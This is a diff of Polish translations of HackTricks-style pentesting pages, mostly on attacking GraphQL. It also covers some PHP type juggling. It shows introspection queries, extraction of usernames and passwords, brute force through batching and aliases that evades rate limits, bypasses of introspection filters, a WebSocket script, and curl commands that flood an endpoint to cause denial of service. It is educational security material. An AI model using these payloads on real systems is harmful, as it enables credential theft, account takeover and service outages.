Aby użyć introspekcji do odkrycia informacji o schemacie, zapytaj pole `__schema`. To pole jest dostępne w typie głównym wszystkich zapytań.
 | 
			
		||||
Aby użyć introspekcji do odkrywania informacji o schemacie, zapytaj pole `__schema`. To pole jest dostępne w typie głównym wszystkich zapytań.
 | 
			
		||||
```bash
 | 
			
		||||
query={__schema{types{name,fields{name}}}}
 | 
			
		||||
```
 | 
			
		||||
@ -68,7 +68,7 @@ Interesujące jest, czy **błędy** będą **pokazywane**, ponieważ przyczynią
 | 
			
		||||
**Enumerowanie schematu bazy danych za pomocą introspekcji**
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Jeśli introspekcja jest włączona, ale powyższe zapytanie nie działa, spróbuj usunąć dyrektywy `onOperation`, `onFragment` i `onField` ze struktury zapytania.
 | 
			
		||||
> Jeśli introspekcja jest włączona, ale powyższe zapytanie nie działa, spróbuj usunąć dyrektywy `onOperation`, `onFragment` i `onField` z struktury zapytania.
 | 
			
		||||
```bash
 | 
			
		||||
#Full introspection query
 | 
			
		||||
 | 
			
		||||
@ -158,7 +158,7 @@ name
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Zapytanie introspekcyjne inline:
 | 
			
		||||
Zapytanie introspekcyjne w linii:
 | 
			
		||||
```
 | 
			
		||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
 | 
			
		||||
```
 | 
			
		||||
@ -172,7 +172,7 @@ Jeśli introspekcja jest włączona, możesz użyć [**GraphQL Voyager**](https:
 | 
			
		||||
 | 
			
		||||
Teraz, gdy wiemy, jakie informacje są zapisane w bazie danych, spróbujmy **wyodrębnić kilka wartości**.
 | 
			
		||||
 | 
			
		||||
W introspekcji możesz znaleźć **który obiekt możesz bezpośrednio zapytać** (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku widać, że "_queryType_" nazywa się "_Query_", a jednym z pól obiektu "_Query_" jest "_flags_", które jest również typem obiektu. Dlatego możesz zapytać obiekt flagi.
 | 
			
		||||
W introspekcji możesz znaleźć **który obiekt możesz bezpośrednio zapytać** (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "_queryType_" nazywa się "_Query_", a jednym z pól obiektu "_Query_" jest "_flags_", który jest również typem obiektu. Dlatego możesz zapytać obiekt flagi.
 | 
			
		||||
 | 
			
		||||

 | 
			
		||||
 | 
			
		||||
@ -184,7 +184,7 @@ Możesz zobaczyć, że obiekty "_Flags_" składają się z **name** i **value**.
 | 
			
		||||
```javascript
 | 
			
		||||
query={flags{name, value}}
 | 
			
		||||
```
 | 
			
		||||
Zauważ, że w przypadku gdy **obiekt do zapytania** jest **typem** **prymitywnym** takim jak **string**, jak w poniższym przykładzie
 | 
			
		||||
Zauważ, że w przypadku gdy **obiekt do zapytania** jest **prymitywnym** **typem** takim jak **string**, jak w poniższym przykładzie
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -193,7 +193,7 @@ Możesz po prostu zapytać o to za pomocą:
 | 
			
		||||
query = { hiddenFlags }
 | 
			
		||||
```
 | 
			
		||||
W innym przykładzie, gdzie były 2 obiekty wewnątrz obiektu typu "_Query_": "_user_" i "_users_".\
 | 
			
		||||
Jeśli te obiekty nie potrzebują żadnych argumentów do wyszukiwania, można **pobierać wszystkie informacje z nich** po prostu **prosząc** o dane, które chcesz. W tym przykładzie z Internetu można było wyodrębnić zapisane nazwy użytkowników i hasła:
 | 
			
		||||
Jeśli te obiekty nie potrzebują żadnych argumentów do wyszukiwania, można **pobierać wszystkie informacje z nich** po prostu **prosząc** o dane, które chcesz. W tym przykładzie z Internetu można wyodrębnić zapisane nazwy użytkowników i hasła:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -206,7 +206,7 @@ Tak czy inaczej, już to wiedzieliśmy, w sekcji [Basic Enumeration](graphql.md#
 | 
			
		||||
 | 
			
		||||
Jeśli przeczytasz obrazek dostarczony, gdy uruchomiłem to zapytanie, zobaczysz, że "_**user**_" miał **arg** "_**uid**_" typu _Int_.
 | 
			
		||||
 | 
			
		||||
Więc, wykonując lekką _**uid**_ bruteforce, odkryłem, że w _**uid**=**1**_ pobrano nazwę użytkownika i hasło:\
 | 
			
		||||
Więc, wykonując lekką _**uid**_ bruteforce, odkryłem, że dla _**uid**=**1**_ pobrano nazwę użytkownika i hasło:\
 | 
			
		||||
`query={user(uid:1){user,password}}`
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
@ -217,7 +217,7 @@ Zauważ, że **odkryłem**, że mogę prosić o **parametry** "_**user**_" i "_*
 | 
			
		||||
 | 
			
		||||
A podczas **fazy enumeracji** odkryłem, że obiekt "_**dbuser**_" miał jako pola "_**user**_" i "_**password**_.
 | 
			
		||||
 | 
			
		||||
**Trik z zrzutem ciągu zapytania (dzięki @BinaryShadow\_)**
 | 
			
		||||
**Sztuczka z zrzutem ciągu zapytania (dzięki @BinaryShadow\_)**
 | 
			
		||||
 | 
			
		||||
Jeśli możesz wyszukiwać według typu ciągu, jak: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, to **zrzuci wszystkie dane**. (_Zauważ, że ten przykład nie jest związany z przykładem z samouczków, w tym przykładzie załóż, że możesz wyszukiwać używając "**theusers**" według pola String o nazwie "**description**"_).
 | 
			
		||||
 | 
			
		||||
@ -334,14 +334,14 @@ releaseYear
 | 
			
		||||
```
 | 
			
		||||
### Przeciążanie dyrektyw
 | 
			
		||||
 | 
			
		||||
Jak wyjaśniono w [**jednej z luk opisanych w tym raporcie**](https://www.landh.tech/blog/20240304-google-hack-50000/), przeciążanie dyrektyw polega na wywoływaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie DoS.
 | 
			
		||||
Jak wyjaśniono w [**jednej z luk opisanych w tym raporcie**](https://www.landh.tech/blog/20240304-google-hack-50000/), przeciążanie dyrektyw polega na wywoływaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie ataku DoS.
 | 
			
		||||
 | 
			
		||||
### Grupowanie brute-force w 1 żądaniu API
 | 
			
		||||
 | 
			
		||||
Te informacje zostały zaczerpnięte z [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
 | 
			
		||||
Uwierzytelnianie przez API GraphQL z **jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami** w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło na żądanie HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące stawki, sprawiając, że myślą, że wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła.
 | 
			
		||||
Uwierzytelnianie przez API GraphQL z **jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami** w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące, sprawiając, że myślą, iż wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła.
 | 
			
		||||
 | 
			
		||||
Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z **3 różnymi parami e-mail/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:
 | 
			
		||||
Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z **3 różnymi parami email/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -359,7 +359,7 @@ Co więcej, rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesun
 | 
			
		||||
 | 
			
		||||
### Obejście obrony introspekcji GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
 | 
			
		||||
 | 
			
		||||
Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie **specjalnego znaku po słowie kluczowym `__schema`** okazuje się skuteczne. Metoda ta wykorzystuje powszechne niedopatrzenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji, koncentrując się na słowie kluczowym `__schema`. Dodając znaki takie jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale które mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może obejść takie obrony:
 | 
			
		||||
Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie **specjalnego znaku po słowie kluczowym `__schema`** okazuje się skuteczne. Ta metoda wykorzystuje powszechne niedopatrzenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji, koncentrując się na słowie kluczowym `__schema`. Dodając znaki takie jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może obejść takie obrony:
 | 
			
		||||
```bash
 | 
			
		||||
# Example with newline to bypass
 | 
			
		||||
{
 | 
			
		||||
@ -369,9 +369,9 @@ Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie
 | 
			
		||||
```
 | 
			
		||||
Jeśli niepowodzenie, rozważ alternatywne metody żądań, takie jak **żądania GET** lub **POST z `x-www-form-urlencoded`**, ponieważ ograniczenia mogą dotyczyć tylko żądań POST.
 | 
			
		||||
 | 
			
		||||
### Spróbuj WebSockets
 | 
			
		||||
### Spróbuj WebSocketów
 | 
			
		||||
 | 
			
		||||
Jak wspomniano w [**tej prezentacji**](https://www.youtube.com/watch?v=tIo_t5uUK50), sprawdź, czy możliwe jest połączenie z graphQL za pomocą WebSockets, ponieważ może to pozwolić na ominięcie potencjalnego WAF i sprawić, że komunikacja websocketowa ujawni schemat graphQL:
 | 
			
		||||
Jak wspomniano w [**tej prezentacji**](https://www.youtube.com/watch?v=tIo_t5uUK50), sprawdź, czy możliwe jest połączenie z graphQL za pomocą WebSocketów, ponieważ może to pozwolić na ominięcie potencjalnego WAF i sprawić, że komunikacja WebSocket będzie ujawniać schemat graphQL:
 | 
			
		||||
```javascript
 | 
			
		||||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
 | 
			
		||||
ws.onopen = function start(event) {
 | 
			
		||||
@ -395,9 +395,9 @@ payload: GQL_CALL,
 | 
			
		||||
ws.send(JSON.stringify(graphqlMsg))
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### **Odkrywanie Odkrytych Struktur GraphQL**
 | 
			
		||||
### **Odkrywanie Ujawnionych Struktur GraphQL**
 | 
			
		||||
 | 
			
		||||
Gdy introspekcja jest wyłączona, badanie kodu źródłowego strony internetowej w poszukiwaniu wstępnie załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć za pomocą zakładki `Sources` w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie **odkryte wrażliwe zapytania**. Polecenia do wyszukiwania w narzędziach deweloperskich to:
 | 
			
		||||
Gdy introspekcja jest wyłączona, badanie kodu źródłowego strony internetowej w poszukiwaniu wstępnie załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z zakładki `Sources` w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie **ujawnione wrażliwe zapytania**. Polecenia do wyszukiwania w narzędziach deweloperskich to:
 | 
			
		||||
```javascript
 | 
			
		||||
Inspect/Sources/"Search all files"
 | 
			
		||||
file:* mutation
 | 
			
		||||
@ -427,13 +427,13 @@ Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi `samesi
 | 
			
		||||
 | 
			
		||||
Należy pamiętać, że zazwyczaj możliwe jest również wysłanie **żądania** **zapytania** jako **żądania GET**, a token CSRF może nie być weryfikowany w żądaniu GET.
 | 
			
		||||
 | 
			
		||||
Ponadto, wykorzystując atak [**XS-Search**](../../pentesting-web/xs-search/index.html), może być możliwe wyeksfiltrowanie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika.
 | 
			
		||||
Ponadto, wykorzystując atak [**XS-Search**](../../pentesting-web/xs-search/index.html), może być możliwe wyeksportowanie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika.
 | 
			
		||||
 | 
			
		||||
Aby uzyskać więcej informacji, **sprawdź** [**oryginalny post tutaj**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 | 
			
		||||
 | 
			
		||||
## Przechwytywanie WebSocket między witrynami w GraphQL
 | 
			
		||||
 | 
			
		||||
Podobnie jak w przypadku podatności CRSF wykorzystujących GraphQL, możliwe jest również przeprowadzenie **przechwytywania WebSocket między witrynami, aby wykorzystać uwierzytelnienie w GraphQL z niechronionymi ciasteczkami** i zmusić użytkownika do wykonania nieoczekiwanych działań w GraphQL.
 | 
			
		||||
Podobnie jak w przypadku podatności CRSF, wykorzystując GraphQL, możliwe jest również przeprowadzenie **przechwytywania WebSocket między witrynami, aby wykorzystać uwierzytelnienie w GraphQL z niechronionymi ciasteczkami** i zmusić użytkownika do wykonania nieoczekiwanych działań w GraphQL.
 | 
			
		||||
 | 
			
		||||
Aby uzyskać więcej informacji, sprawdź:
 | 
			
		||||
 | 
			
		||||
@ -445,7 +445,7 @@ Aby uzyskać więcej informacji, sprawdź:
 | 
			
		||||
 | 
			
		||||
Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację.
 | 
			
		||||
 | 
			
		||||
Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych szczegółów konta [leak](https://hackerone.com/reports/792927).
 | 
			
		||||
Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych danych konta [leak](https://hackerone.com/reports/792927).
 | 
			
		||||
 | 
			
		||||
Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta.
 | 
			
		||||
```javascript
 | 
			
		||||
@ -459,17 +459,17 @@ Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dan
 | 
			
		||||
 | 
			
		||||
[Łączenie zapytań](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) może obejść słaby system autoryzacji.
 | 
			
		||||
 | 
			
		||||
W poniższym przykładzie widać, że operacja to "forgotPassword" i powinna ona wykonywać tylko zapytanie forgotPassword związane z nią. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" oraz zmienną użytkownika, aby system zarejestrował się jako nowy użytkownik.
 | 
			
		||||
W poniższym przykładzie widać, że operacja to "forgotPassword" i powinna ona wykonywać tylko zapytanie forgotPassword z nią związane. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" oraz zmienną użytkownika, aby system zarejestrował się jako nowy użytkownik.
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
## Ominięcie limitów szybkości przy użyciu aliasów w GraphQL
 | 
			
		||||
 | 
			
		||||
W GraphQL aliasy to potężna funkcja, która pozwala na **jawne nazywanie właściwości** podczas składania żądania API. Ta możliwość jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasów można używać, aby obejść ograniczenie, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
 | 
			
		||||
W GraphQL aliasy to potężna funkcja, która pozwala na **jawne nazywanie właściwości** podczas składania żądania API. Ta możliwość jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasy mogą być używane do pokonywania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
 | 
			
		||||
 | 
			
		||||
Aby uzyskać szczegółowe zrozumienie aliasów GraphQL, zaleca się następujące źródło: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 | 
			
		||||
 | 
			
		||||
Chociaż głównym celem aliasów jest zmniejszenie potrzeby na liczne wywołania API, zidentyfikowano niezamierzony przypadek użycia, w którym aliasy mogą być wykorzystywane do przeprowadzania ataków brute force na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez ograniczniki szybkości zaprojektowane w celu powstrzymania ataków brute force poprzez ograniczenie **liczby żądań HTTP**. Jednak te ograniczniki szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Biorąc pod uwagę, że aliasy pozwalają na dołączenie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające.
 | 
			
		||||
Chociaż głównym celem aliasów jest zmniejszenie potrzeby wielu wywołań API, zidentyfikowano niezamierzony przypadek użycia, w którym aliasy mogą być wykorzystywane do przeprowadzania ataków brute force na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez ograniczniki szybkości zaprojektowane w celu powstrzymania ataków brute force poprzez ograniczenie **liczby żądań HTTP**. Jednak te ograniczniki szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Biorąc pod uwagę, że aliasy pozwalają na dołączenie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające.
 | 
			
		||||
 | 
			
		||||
Rozważ przykład podany poniżej, który ilustruje, jak zapytania z aliasami mogą być używane do weryfikacji ważności kodów rabatowych w sklepie. Ta metoda może ominąć ograniczenia szybkości, ponieważ kompiluje kilka zapytań w jedno żądanie HTTP, potencjalnie umożliwiając jednoczesną weryfikację wielu kodów rabatowych.
 | 
			
		||||
```bash
 | 
			
		||||
@ -490,18 +490,18 @@ valid
 | 
			
		||||
 | 
			
		||||
### Przeciążenie aliasów
 | 
			
		||||
 | 
			
		||||
**Przeciążenie aliasów** to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przytłoczyć zasoby serwera, prowadząc do **Denial of Service (DoS)**. Na przykład, w poniższym zapytaniu to samo pole (`expensiveField`) jest żądane 1,000 razy za pomocą aliasów, zmuszając backend do obliczenia go 1,000 razy, co może wyczerpać CPU lub pamięć:
 | 
			
		||||
**Przeciążenie aliasów** to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przytłoczyć zasoby serwera, prowadząc do **Denial of Service (DoS)**. Na przykład, w poniższym zapytaniu to samo pole (`expensiveField`) jest żądane 1,000 razy przy użyciu aliasów, zmuszając backend do obliczenia go 1,000 razy, co potencjalnie może wyczerpać CPU lub pamięć:
 | 
			
		||||
```graphql
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "Content-Type: application/json" \
 | 
			
		||||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
 | 
			
		||||
'https://example.com/graphql'
 | 
			
		||||
```
 | 
			
		||||
Aby temu zapobiec, wdroż ograniczenia liczby aliasów, analizę złożoności zapytań lub ograniczenia szybkości, aby zapobiec nadużywaniu zasobów.
 | 
			
		||||
Aby to złagodzić, wdroż ograniczenia liczby aliasów, analizę złożoności zapytań lub ograniczenia szybkości, aby zapobiec nadużywaniu zasobów.
 | 
			
		||||
 | 
			
		||||
### **Batched Query na bazie tablicy**
 | 
			
		||||
 | 
			
		||||
**Batched Query na bazie tablicy** to luka, w której API GraphQL pozwala na grupowanie wielu zapytań w jednym żądaniu, co umożliwia atakującemu wysłanie dużej liczby zapytań jednocześnie. Może to przytłoczyć backend, wykonując wszystkie zgrupowane zapytania równolegle, zużywając nadmierne zasoby (CPU, pamięć, połączenia z bazą danych) i potencjalnie prowadząc do **Denial of Service (DoS)**. Jeśli nie ma ograniczenia liczby zapytań w partii, atakujący może to wykorzystać do pogorszenia dostępności usługi.
 | 
			
		||||
**Batched Query na bazie tablicy** to luka, w której API GraphQL pozwala na grupowanie wielu zapytań w jednym żądaniu, umożliwiając atakującemu wysłanie dużej liczby zapytań jednocześnie. Może to przytłoczyć backend, wykonując wszystkie zgrupowane zapytania równolegle, zużywając nadmierne zasoby (CPU, pamięć, połączenia z bazą danych) i potencjalnie prowadząc do **Denial of Service (DoS)**. Jeśli nie ma ograniczenia liczby zapytań w partii, atakujący może to wykorzystać do pogorszenia dostępności usługi.
 | 
			
		||||
```graphql
 | 
			
		||||
# Test provided by https://github.com/dolevf/graphql-cop
 | 
			
		||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
 | 
			
		||||
@ -555,10 +555,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 | 
			
		||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identyfikuje używaną wersję GraphQL
 | 
			
		||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zestaw narzędzi, który można wykorzystać do pobierania schematów i wyszukiwania danych wrażliwych, testowania autoryzacji, ataków brute force na schematy oraz znajdowania ścieżek do danego typu.
 | 
			
		||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Może być używany jako samodzielne narzędzie lub [rozszerzenie Burp](https://github.com/doyensec/inql).
 | 
			
		||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany jako klient CLI do automatyzacji ataków
 | 
			
		||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany jako klient CLI do automatyzacji ataków: `python3 graphqlmap.py -u http://example.com/graphql --inject`
 | 
			
		||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Narzędzie, które wymienia różne sposoby **osiągnięcia danego typu w schemacie GraphQL**.
 | 
			
		||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Następca trybów samodzielnych i CLI InQL
 | 
			
		||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie Burp do zaawansowanego testowania GraphQL. _**Skaner**_ jest rdzeniem InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik schematu introspekcji. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w uporządkowany widok do analizy. Komponent _**Atakujący**_ pozwala na przeprowadzanie zbiorczych ataków GraphQL, co może być przydatne do omijania źle zaimplementowanych limitów prędkości.
 | 
			
		||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie Burp lub skrypt Pythona do zaawansowanego testowania GraphQL. _**Skaner**_ jest rdzeniem InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik schematu introspekcji. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w uporządkowany widok do analizy. Komponent _**Atakujący**_ pozwala na przeprowadzanie zbiorczych ataków GraphQL, co może być przydatne do omijania źle zaimplementowanych limitów: `python3 inql.py -t http://example.com/graphql -o output.json`
 | 
			
		||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Próbuje uzyskać schemat nawet przy wyłączonej introspekcji, korzystając z pomocy niektórych baz danych GraphQL, które zasugerują nazwy mutacji i parametrów.
 | 
			
		||||
 | 
			
		||||
### Klienci
 | 
			
		||||
 | 
			
		||||
@ -2,9 +2,9 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Typowe lokalizacje ciasteczek:
 | 
			
		||||
## Cookies wspólna lokalizacja:
 | 
			
		||||
 | 
			
		||||
To dotyczy również ciasteczek phpMyAdmin.
 | 
			
		||||
To również dotyczy ciasteczek phpMyAdmin.
 | 
			
		||||
 | 
			
		||||
Ciasteczka:
 | 
			
		||||
```
 | 
			
		||||
@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
 | 
			
		||||
- `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
 | 
			
		||||
- `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0
 | 
			
		||||
- `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0
 | 
			
		||||
- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować dane wejściowe ciągu "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 | 
			
		||||
